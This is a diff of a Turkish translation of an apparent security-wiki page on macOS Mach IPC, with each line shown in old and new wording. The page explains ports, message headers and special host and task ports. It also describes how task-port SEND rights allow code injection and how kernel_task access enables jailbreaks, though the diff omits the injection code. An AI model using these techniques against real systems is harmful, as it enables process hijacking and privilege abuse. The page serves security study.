Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP ile korunan** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adları için **her biri için bir ALMA hakkı oluşturur ve tutar**. Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adları için **her biri için bir ALMA hakkı oluşturur ve tutar**.
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şu şekildedir: Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şu şekildedir:
- Görev **B**, bir hizmet adı için bootstrap **arama** başlatır. - Görev **B**, bir hizmet adı için bootstrap **arama** başlatır.
- **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**. - **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
- Görev **A** (hizmet), **bootstrap check-in** (`bootstrap_check_in()`) gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDERME hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**. - Görev **A** (hizmet), **bootstrap check-in** (`bootstrap_check_in()`) gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDER hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**.
- launchd, **GÖNDERME hakkını çoğaltır ve Görev B'ye gönderir**. - launchd, **GÖNDER hakkını kopyalar ve Görev B'ye gönderir**.
- Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** (hizmet) verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim). - Görev **B**, bir **ALMA** hakkı ve bir **GÖNDER** hakkı ile yeni bir port oluşturur ve **GÖNDER hakkını Görev A'ya** (hizmet) verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler, başlangıçta açıklandığı gibi çalışmaya devam eder, bu da taklit olasılığını artırabilir. Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler, başlangıçta açıklandığı gibi çalışmaya devam eder, bu da taklit olasılığını artırabilir.
@ -74,7 +74,7 @@ Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geç
[Buradan daha fazla bilgi edinin](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) [Buradan daha fazla bilgi edinin](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg` fonksiyonu, esasen bir sistem çağrısıdır ve Mach mesajlarını göndermek ve almak için kullanılır. Fonksiyon, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı şu şekilde tanımlanmıştır: `mach_msg` fonksiyonu, esasen bir sistem çağrısıdır ve Mach mesajlarını göndermek ve almak için kullanılır. Fonksiyon, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, `mach_msg_header_t` yapısıyla başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı şu şekilde tanımlanmıştır:
```c ```c
typedef struct { typedef struct {
mach_msg_bits_t msgh_bits; mach_msg_bits_t msgh_bits;
@ -113,7 +113,7 @@ Voucher, yerel ve uzak portlarda belirtilebilecek türler ( [**mach/message.h**]
Kolay bir **iki yönlü iletişim** sağlamak için bir süreç, mesajın **alıcı**'sının bu mesaja **yanıt gönderebileceği** _yanıt portu_ (**`msgh_local_port`**) olarak adlandırılan bir **mach portu** belirtebilir. Kolay bir **iki yönlü iletişim** sağlamak için bir süreç, mesajın **alıcı**'sının bu mesaja **yanıt gönderebileceği** _yanıt portu_ (**`msgh_local_port`**) olarak adlandırılan bir **mach portu** belirtebilir.
> [!TIP] > [!TIP]
> Bu tür iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişimi sağlamak için. > Bu tür iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişim oluşturmak için.
Mesaj başlığının diğer alanları şunlardır: Mesaj başlığının diğer alanları şunlardır:
@ -123,15 +123,15 @@ Mesaj başlığının diğer alanları şunlardır:
- `msgh_id`: bu mesajın alıcı tarafından yorumlanan kimliği. - `msgh_id`: bu mesajın alıcı tarafından yorumlanan kimliği.
> [!CAUTION] > [!CAUTION]
> **mach mesajlarının `mach portu` üzerinden gönderildiğini** unutmayın; bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla süreç**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir süreç okuyabilir**. > **mach mesajlarının bir `mach portu` üzerinden gönderildiğini** unutmayın; bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla süreç**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir süreç okuyabilir**.
Mesajlar, **`mach_msg_header_t`** başlığı, ardından **gövde** ve **trailer** (varsa) ile oluşur ve buna yanıt verme izni verebilir. Bu durumlarda, çekirdek yalnızca mesajı bir görevden diğerine iletmek zorundadır. Mesajlar, **`mach_msg_header_t`** başlığı ile oluşturulur ve ardından **gövde** ve **trailer** (varsa) gelir ve buna yanıt verme izni verebilir. Bu durumlarda, çekirdek yalnızca mesajı bir görevden diğerine iletmek zorundadır.
Bir **trailer**, **çekirdek tarafından mesaja eklenen bilgidir** (kullanıcı tarafından ayarlanamaz) ve mesaj alımında `MACH_RCV_TRAILER_<trailer_opt>` bayrakları ile talep edilebilir (talep edilebilecek farklı bilgiler vardır). Bir **trailer**, **çekirdek tarafından mesaja eklenen bilgidir** (kullanıcı tarafından ayarlanamaz) ve mesaj alımında `MACH_RCV_TRAILER_<trailer_opt>` bayrakları ile talep edilebilir (talep edilebilecek farklı bilgiler vardır).
#### Karmaşık Mesajlar #### Karmaşık Mesajlar
Ancak, ek port hakları geçiren veya bellek paylaşan daha **karmaşık** mesajlar da vardır; burada çekirdek bu nesneleri alıcıya göndermek zorundadır. Bu durumlarda başlığın en anlamlı biti `msgh_bits` ayarlanır. Ancak, ek port hakları geçiren veya bellek paylaşan daha **karmaşık** mesajlar da vardır; bu durumda çekirdek bu nesneleri alıcıya göndermek zorundadır. Bu durumlarda başlığın `msgh_bits` en anlamlı biti ayarlanır.
Geçirilebilecek olası tanımlayıcılar [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) dosyasında tanımlanmıştır: Geçirilebilecek olası tanımlayıcılar [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) dosyasında tanımlanmıştır:
```c ```c
@ -157,7 +157,7 @@ mach_msg_descriptor_type_t type : 8;
> >
> Ayrıca, **bir savunmasız sürece port hakları göndermek** de mümkündür ve port hakları süreçte sadece görünecektir (bu hakları yönetmese bile). > Ayrıca, **bir savunmasız sürece port hakları göndermek** de mümkündür ve port hakları süreçte sadece görünecektir (bu hakları yönetmese bile).
### Mac Ports API'leri ### Mac Portları API'leri
Portların görev ad alanına bağlı olduğunu unutmayın, bu nedenle bir port oluşturmak veya aramak için görev ad alanı da sorgulanır (daha fazla bilgi için `mach/mach_port.h`): Portların görev ad alanına bağlı olduğunu unutmayın, bu nedenle bir port oluşturmak veya aramak için görev ad alanı da sorgulanır (daha fazla bilgi için `mach/mach_port.h`):
@ -217,7 +217,7 @@ mach_port_name_t rcv_name,
mach_msg_timeout_t timeout, mach_msg_timeout_t timeout,
mach_port_name_t notify); mach_port_name_t notify);
``` ```
Kayıtlardan değerleri alın: Kayıtlardan değerleri al:
```armasm ```armasm
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6 reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg) x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
@ -279,7 +279,7 @@ Bu aracı iOS'ta [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newos
### Kod örneği ### Kod örneği
**Gönderenin** bir port **ayırdığını**, `org.darlinghq.example` adı için bir **gönderim hakkı** oluşturduğunu ve bunu **bootstrap sunucusuna** gönderdiğini, gönderenin o adın **gönderim hakkını** talep ettiğini ve bunu **bir mesaj göndermek** için kullandığını not edin. **Gönderenin** bir port **ayırdığını**, `org.darlinghq.example` adı için bir **gönderim hakkı** oluşturduğunu ve bunu **bootstrap sunucusuna** gönderdiğini, gönderenin o adın **gönderim hakkını** talep ettiğini ve bunu bir **mesaj göndermek** için kullandığını not edin.
{{#tabs}} {{#tabs}}
{{#tab name="receiver.c"}} {{#tab name="receiver.c"}}
@ -407,24 +407,24 @@ printf("Sent a message\n");
## Ayrıcalıklı Portlar ## Ayrıcalıklı Portlar
Belirli hassas eylemleri **gerçekleştirmek veya belirli hassas verilere erişmek** için bazı özel portlar vardır; bu portlar üzerinde **SEND** izinleri varsa görevler tarafından kullanılabilir. Bu, bu portları saldırganlar açısından sadece yetenekleri nedeniyle değil, aynı zamanda **görevler arasında SEND izinlerini paylaşmanın** mümkün olması nedeniyle de çok ilginç kılar. Belirli hassas eylemleri **gerçekleştirmek veya belirli hassas verilere erişmek** için **SEND** izinlerine sahip görevlerin olması durumunda bazı özel portlar bulunmaktadır. Bu, bu portları saldırganlar açısından sadece yetenekleri nedeniyle değil, aynı zamanda **görevler arasında SEND izinlerini paylaşmanın** mümkün olması nedeniyle de çok ilginç kılar.
### Ana Bilgisayar Özel Portları ### Ana Bilgisayar Özel Portları
Bu portlar bir numara ile temsil edilir. Bu portlar bir numara ile temsil edilir.
**SEND** hakları **`host_get_special_port`** çağrısı ile elde edilebilir ve **RECEIVE** hakları **`host_set_special_port`** çağrısı ile elde edilir. Ancak, her iki çağrı da yalnızca root'un erişebileceği **`host_priv`** portunu gerektirir. Dahası, geçmişte root, **`host_set_special_port`** çağrısı yaparak, örneğin `HOST_KEXTD_PORT`'u ele geçirerek kod imzalarını atlatmayı mümkün kılan keyfi portları ele geçirebiliyordu (SIP şimdi bunu engelliyor). **SEND** hakları **`host_get_special_port`** çağrısı ile elde edilebilir ve **RECEIVE** hakları **`host_set_special_port`** çağrısı ile elde edilir. Ancak, her iki çağrı da yalnızca root'un erişebileceği **`host_priv`** portunu gerektirir. Dahası, geçmişte root, **`host_set_special_port`** çağrısı yaparak, örneğin `HOST_KEXTD_PORT`'u ele geçirerek kod imzalarını atlatmasına izin veren keyfi bir portu ele geçirebiliyordu (SIP şimdi bunu engelliyor).
Bunlar 2 gruba ayrılır: **İlk 7 port çekirdek tarafından sahiplenilmiştir**; bunlar 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` ve 7 `HOST_MAX_SPECIAL_KERNEL_PORT`'dur.\ Bunlar 2 gruba ayrılır: **İlk 7 port çekirdek tarafından sahiplenilmiştir**; 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` ve 7 `HOST_MAX_SPECIAL_KERNEL_PORT`'dur.\
**8** numarasından itibaren başlayanlar **sistem daemon'ları tarafından sahiplenilmiştir** ve [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) dosyasında tanımlanmışlardır. **8** numarasından itibaren olanlar **sistem daemon'ları tarafından sahiplenilmiştir** ve [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) dosyasında tanımlanmışlardır.
- **Ana Bilgisayar Portu**: Eğer bir süreç bu port üzerinde **SEND** ayrıcalığına sahipse, aşağıdaki gibi sistem hakkında **bilgi** alabilir: - **Ana Bilgisayar portu**: Eğer bir süreç bu port üzerinde **SEND** ayrıcalığına sahipse, aşağıdaki gibi sistem hakkında **bilgi** alabilir:
- `host_processor_info`: İşlemci bilgilerini al - `host_processor_info`: İşlemci bilgilerini al
- `host_info`: Ana bilgisayar bilgilerini al - `host_info`: Ana bilgisayar bilgilerini al
- `host_virtual_physical_table_info`: Sanal/Fiziksel sayfa tablosu (MACH_VMDEBUG gerektirir) - `host_virtual_physical_table_info`: Sanal/Fiziksel sayfa tablosu (MACH_VMDEBUG gerektirir)
- `host_statistics`: Ana bilgisayar istatistiklerini al - `host_statistics`: Ana bilgisayar istatistiklerini al
- `mach_memory_info`: Çekirdek bellek düzenini al - `mach_memory_info`: Çekirdek bellek düzenini al
- **Ana Bilgisayar Ayrıcalıklı Portu**: Bu port üzerinde **SEND** hakkına sahip bir süreç, önyükleme verilerini gösterme veya bir çekirdek uzantısını yüklemeye çalışma gibi **ayrıcalıklı eylemler** gerçekleştirebilir. **Bu izin için süreç root olmalıdır**. - **Ana Bilgisayar Priv portu**: Bu port üzerinde **SEND** hakkına sahip bir süreç, önyükleme verilerini gösterme veya bir çekirdek uzantısını yüklemeye çalışma gibi **ayrıcalıklı eylemler** gerçekleştirebilir. **Bu izin için süreç root olmalıdır**.
- Dahası, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilere **`com.apple.private.kext*`** sahip olunması gerekmektedir. - Dahası, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilere **`com.apple.private.kext*`** sahip olunması gerekmektedir.
- Çağrılabilecek diğer rutinler şunlardır: - Çağrılabilecek diğer rutinler şunlardır:
- `host_get_boot_info`: `machine_boot_info()` al - `host_get_boot_info`: `machine_boot_info()` al
@ -440,7 +440,7 @@ procexp all ports | grep "HSP"
``` ```
### Görev Özel Portları ### Görev Özel Portları
Bunlar, iyi bilinen hizmetler için ayrılmış portlardır. `task_[get/set]_special_port` çağrılarak alınabilir/ayarlanabilirler. `task_special_ports.h` dosyasında bulunabilirler: Bunlar, iyi bilinen hizmetler için ayrılmış portlardır. `task_[get/set]_special_port` çağrısı yaparak bunları almak/ayarlamak mümkündür. `task_special_ports.h` dosyasında bulunabilirler:
```c ```c
typedef int task_special_port_t; typedef int task_special_port_t;
@ -451,7 +451,7 @@ world.*/
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */ #define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */ #define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
``` ```
- **TASK_KERNEL_PORT**\[task-self send right]: Bu görevi kontrol etmek için kullanılan port. Görevi etkileyen mesajlar göndermek için kullanılır. Bu, **mach_task_self** tarafından döndürülen porttur (aşağıdaki Görev Portları'na bakın). - **TASK_KERNEL_PORT**\[task-self send right]: Bu görevi kontrol etmek için kullanılan port. Görevi etkileyen mesajlar göndermek için kullanılır. Bu, **mach_task_self (aşağıdaki Görev Portları'na bakın)** tarafından döndürülen porttur.
- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: Görevin bootstrap portu. Diğer sistem hizmet portlarının geri dönüşünü talep eden mesajlar göndermek için kullanılır. - **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: Görevin bootstrap portu. Diğer sistem hizmet portlarının geri dönüşünü talep eden mesajlar göndermek için kullanılır.
- **TASK_HOST_NAME_PORT**\[host-self send right]: İçinde bulunduğu ana bilgisayarın bilgilerini talep etmek için kullanılan port. Bu, **mach_host_self** tarafından döndürülen porttur. - **TASK_HOST_NAME_PORT**\[host-self send right]: İçinde bulunduğu ana bilgisayarın bilgilerini talep etmek için kullanılan port. Bu, **mach_host_self** tarafından döndürülen porttur.
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: Bu görevin çekirdek bellek kullandığı kaynağı adlandıran port. - **TASK_WIRED_LEDGER_PORT**\[ledger send right]: Bu görevin çekirdek bellek kullandığı kaynağı adlandıran port.
@ -459,14 +459,14 @@ world.*/
### Görev Portları ### Görev Portları
Başlangıçta Mach "işlemler" yerine "görevler" kullanıyordu, bu da daha çok bir iş parçacığı konteyneri olarak kabul ediliyordu. Mach, BSD ile birleştirildiğinde **her görev bir BSD işlemi ile ilişkilendirildi**. Bu nedenle her BSD işlemi, bir işlem olmak için ihtiyaç duyduğu ayrıntılara sahiptir ve her Mach görevi de iç işleyişine sahiptir (mevcut olmayan pid 0 hariç, bu `kernel_task`'dir). Başlangıçta Mach "işlemler" yerine "görevler" kullanıyordu, bu da daha çok bir iş parçacığı konteyneri olarak kabul ediliyordu. Mach, BSD ile birleştirildiğinde **her görev bir BSD işlemi ile ilişkilendirildi**. Bu nedenle her BSD işlemi, bir işlem olmak için ihtiyaç duyduğu ayrıntılara sahiptir ve her Mach görevi de kendi iç işleyişine sahiptir (mevcut olmayan pid 0 olan `kernel_task` hariç).
Buna ilişkin iki çok ilginç işlev vardır: Buna ilişkin iki çok ilginç işlev vardır:
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Belirtilen `pid` ile ilişkili görevin portu için bir SEND hakkı alır ve bunu belirtilen `target_task_port`'a verir (genellikle `mach_task_self()` kullanmış olan çağıran görevdir, ancak farklı bir görev üzerindeki bir SEND portu da olabilir). - `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Belirtilen `pid` ile ilişkili görevin portunu almak için bir SEND hakkı alır ve bunu belirtilen `target_task_port`'a verir (genellikle `mach_task_self()` kullanan çağıran görevdir, ancak farklı bir görev üzerindeki bir SEND portu da olabilir).
- `pid_for_task(task, &pid)`: Bir göreve verilen bir SEND hakkı ile, bu görevin hangi PID ile ilişkili olduğunu bulur. - `pid_for_task(task, &pid)`: Bir göreve verilen SEND hakkı ile, bu görevin hangi PID ile ilişkili olduğunu bulur.
Görev içinde eylemler gerçekleştirmek için, görev kendisine `mach_task_self()` çağrısı yaparak bir `SEND` hakkına ihtiyaç duyar (bu, `task_self_trap` (28) kullanır). Bu izinle bir görev, aşağıdaki gibi çeşitli eylemler gerçekleştirebilir: Görev içinde eylemler gerçekleştirmek için, görev kendisine `mach_task_self()` çağrısı yaparak bir `SEND` hakkına ihtiyaç duyar (bu, `task_self_trap` (28) kullanır). Bu izinle bir görev, aşağıdaki gibi çeşitli eylemleri gerçekleştirebilir:
- `task_threads`: Görevin iş parçacıklarının tüm görev portları üzerinde SEND hakkı al - `task_threads`: Görevin iş parçacıklarının tüm görev portları üzerinde SEND hakkı al
- `task_info`: Bir görev hakkında bilgi al - `task_info`: Bir görev hakkında bilgi al
@ -477,23 +477,23 @@ Görev içinde eylemler gerçekleştirmek için, görev kendisine `mach_task_sel
- ve daha fazlası [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h) içinde bulunabilir. - ve daha fazlası [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h) içinde bulunabilir.
> [!CAUTION] > [!CAUTION]
> Farklı bir **görev** üzerindeki bir görev portu üzerinde bir SEND hakkı ile, farklı bir görev üzerinde bu tür eylemler gerçekleştirmek mümkündür. > Farklı bir görevin görev portu üzerinde bir SEND hakkı ile, farklı bir görev üzerinde bu tür eylemler gerçekleştirmek mümkündür.
Ayrıca, task_port aynı zamanda **`vm_map`** portudur ve bir görev içinde **belleği okumak ve manipüle etmek** için `vm_read()` ve `vm_write()` gibi işlevleri kullanma imkanı sağlar. Bu, temelde, farklı bir görevin task_port'u üzerinde SEND haklarına sahip bir görevin, o göreve **kod enjekte edebileceği** anlamına gelir. Ayrıca, task_port aynı zamanda **`vm_map`** portudur ve bu, `vm_read()` ve `vm_write()` gibi işlevlerle bir görev içinde **belleği okumaya ve manipüle etmeye** olanak tanır. Bu, temelde, farklı bir görevin task_port'u üzerinde SEND haklarına sahip bir görevin, o göreve **kod enjekte edebileceği** anlamına gelir.
**Kernel'in de bir görev olduğunu** unutmayın, eğer biri **`kernel_task`** üzerinde **SEND izinleri** almayı başarırsa, kernel'in herhangi bir şeyi çalıştırmasını sağlayabilir (jailbreak'ler). Unutmayın ki **çekirdek de bir görevdir**, eğer biri **`kernel_task`** üzerinde **SEND izinleri** almayı başarırsa, çekirdeğin herhangi bir şeyi çalıştırmasını sağlayabilir (jailbreakler).
- Çağıran görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **devralınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` sonrası bir suid ikili dosyasında da yeni bir görev portu alır). Bir görevi başlatmanın ve portunu almanın tek yolu, bir `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir. - Çağıran görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **devralınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` sonrası bir suid ikili dosyasında da yeni bir görev portu alır). Bir görevi başlatmanın ve portunu almanın tek yolu, bir `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir.
- Portu erişim kısıtlamaları (binary `AppleMobileFileIntegrity` içindeki `macos_task_policy`'den): - Portu erişim kısıtlamaları (binary `AppleMobileFileIntegrity`'den `macos_task_policy`):
- Uygulama **`com.apple.security.get-task-allow` yetkisine** sahipse, **aynı kullanıcıdan** gelen işlemler görev portuna erişebilir (genellikle Xcode tarafından hata ayıklama için eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez. - Uygulama **`com.apple.security.get-task-allow` yetkisine** sahipse, **aynı kullanıcıdan** gelen işlemler görev portuna erişebilir (genellikle Xcode tarafından hata ayıklama için eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez.
- **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, **herhangi bir** işlemin görev portunu alabilir, kernel hariç. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir. - **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, **herhangi bir** işlemin görev portunu alabilir, çekirdek hariç. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir.
- **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayan). - **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayan).
**Görev adı portu:** _görev portu_ için ayrıcalıksız bir versiyon. Görevi referans alır, ancak onu kontrol etmeye izin vermez. Bunun aracılığıyla mevcut olan tek şey `task_info()` gibi görünmektedir. **Görev adı portu:** _görev portu_ için ayrıcalıksız bir versiyon. Görevi referans alır, ancak onu kontrol etmeye izin vermez. Bunun aracılığıyla mevcut olan tek şey `task_info()` gibi görünmektedir.
### İş Parçacığı Portları ### İş Parçacığı Portları
İş parçacıklarının da ilişkili portları vardır, bu portlar **`task_threads`** çağrısı yapan görevden ve `processor_set_threads` ile işlemciden görünür. İş parçacığı portu üzerindeki bir SEND hakkı, `thread_act` alt sisteminden işlevleri kullanmaya izin verir, örneğin: İş parçacıklarının da ilişkili portları vardır, bu portlar **`task_threads`** çağrısı yapan görevden ve `processor_set_threads` ile işlemciden görünür. İş parçacığı portu üzerinde bir SEND hakkı, `thread_act` alt sisteminden işlevleri kullanmaya olanak tanır, örneğin:
- `thread_terminate` - `thread_terminate`
- `thread_[get/set]_state` - `thread_[get/set]_state`
@ -502,11 +502,11 @@ Ayrıca, task_port aynı zamanda **`vm_map`** portudur ve bir görev içinde **b
- `thread_info` - `thread_info`
- ... - ...
Herhangi bir iş parçacığı, **`mach_thread_sef`** çağrısı yaparak bu portu alabilir. Herhangi bir iş parçacığı, **`mach_thread_sef`** çağrısını yaparak bu portu alabilir.
### Görev portu aracılığıyla iş parçacığında Shellcode Enjeksiyonu ### Görev portu aracılığıyla iş parçacığında Shellcode Enjeksiyonu
Bir shellcode alabilirsiniz: Bir shellcode'u şuradan alabilirsiniz:
{{#ref}} {{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -774,7 +774,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
macOS'ta **iş parçacıkları** **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz iş parçacığı, Mach api kullanılarak oluşturuldu, bu nedenle **posix uyumlu değildir**. macOS'ta **iş parçacıkları** **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz iş parçacığı, Mach api kullanılarak oluşturuldu, bu nedenle **posix uyumlu değildir**.
Bir komutu yürütmek için **basit bir shellcode** enjekte etmek mümkündü çünkü **posix** uyumlu apilerle çalışması gerekmiyordu, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için **iş parçacığının** da **posix uyumlu** olması gerekecektir. Bir komutu yürütmek için **basit bir shellcode** enjekte etmek mümkündü çünkü **posix uyumlu** apilerle çalışması gerekmiyordu, sadece Mach ile. **Daha karmaşık enjeksiyonlar** için **iş parçacığının** da **posix uyumlu** olması gerekecektir.
Bu nedenle, **iş parçacığını geliştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır; bu, **geçerli bir pthread** oluşturacaktır. Ardından, bu yeni pthread **dlopen** çağrısı yaparak sistemden **bir dylib** yükleyebilir, böylece farklı eylemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkündür. Bu nedenle, **iş parçacığını geliştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır; bu, **geçerli bir pthread** oluşturacaktır. Ardından, bu yeni pthread **dlopen** çağrısı yaparak sistemden **bir dylib** yükleyebilir, böylece farklı eylemleri gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkündür.
@ -1076,9 +1076,9 @@ macos-thread-injection-via-task-port.md
## Exception Ports ## Exception Ports
Bir iş parçacığında bir istisna meydana geldiğinde, bu istisna iş parçacığının belirlenen istisna portuna gönderilir. Eğer iş parçacığı bunu ele almazsa, görev istisna portlarına gönderilir. Eğer görev bunu ele almazsa, o zaman launchd tarafından yönetilen ana portuna gönderilir (burada kabul edilecektir). Buna istisna triage denir. Bir iş parçacığında bir istisna meydana geldiğinde, bu istisna iş parçacığının belirlenen istisna portuna gönderilir. Eğer iş parçacığı bunu ele almazsa, görev istisna portlarına gönderilir. Eğer görev bunu ele almazsa, o zaman launchd tarafından yönetilen ana portuna gönderilir (orada kabul edilecektir). Buna istisna triage denir.
Genellikle, eğer düzgün bir şekilde ele alınmazsa, rapor genellikle ReportCrash daemon'u tarafından ele alınır. Ancak, aynı görevdeki başka bir iş parçacığının istisnayı yönetmesi mümkündür, bu da `PLCreashReporter` gibi çökme raporlama araçlarının yaptığı şeydir. Genellikle, eğer düzgün bir şekilde ele alınmazsa, rapor ReportCrash daemon'u tarafından ele alınır. Ancak, aynı görevdeki başka bir iş parçacığının istisnayı yönetmesi mümkündür, bu da `PLCreashReporter` gibi çökme raporlama araçlarının yaptığı şeydir.
## Other Objects ## Other Objects
@ -1091,7 +1091,7 @@ Değerleri değiştirmek için `clock_priv` alt sistemi `clock_set_time` ve `clo
### Processors and Processor Set ### Processors and Processor Set
İşlemci API'leri, `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment` gibi fonksiyonları çağırarak tek bir mantıksal işlemciyi kontrol etmeyi sağlar. İşlemci API'leri, `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment` gibi fonksiyonları çağırarak tek bir mantıksal işlemciyi kontrol etmeyi sağlar...
Ayrıca, **işlemci seti** API'leri birden fazla işlemciyi bir grupta toplamak için bir yol sağlar. Varsayılan işlemci setini almak için **`processor_set_default`** çağrılabilir.\ Ayrıca, **işlemci seti** API'leri birden fazla işlemciyi bir grupta toplamak için bir yol sağlar. Varsayılan işlemci setini almak için **`processor_set_default`** çağrılabilir.\
İşlemci seti ile etkileşimde bulunmak için bazı ilginç API'ler şunlardır: İşlemci seti ile etkileşimde bulunmak için bazı ilginç API'ler şunlardır:
@ -1102,7 +1102,7 @@ Ayrıca, **işlemci seti** API'leri birden fazla işlemciyi bir grupta toplamak
- `processor_set_stack_usage` - `processor_set_stack_usage`
- `processor_set_info` - `processor_set_info`
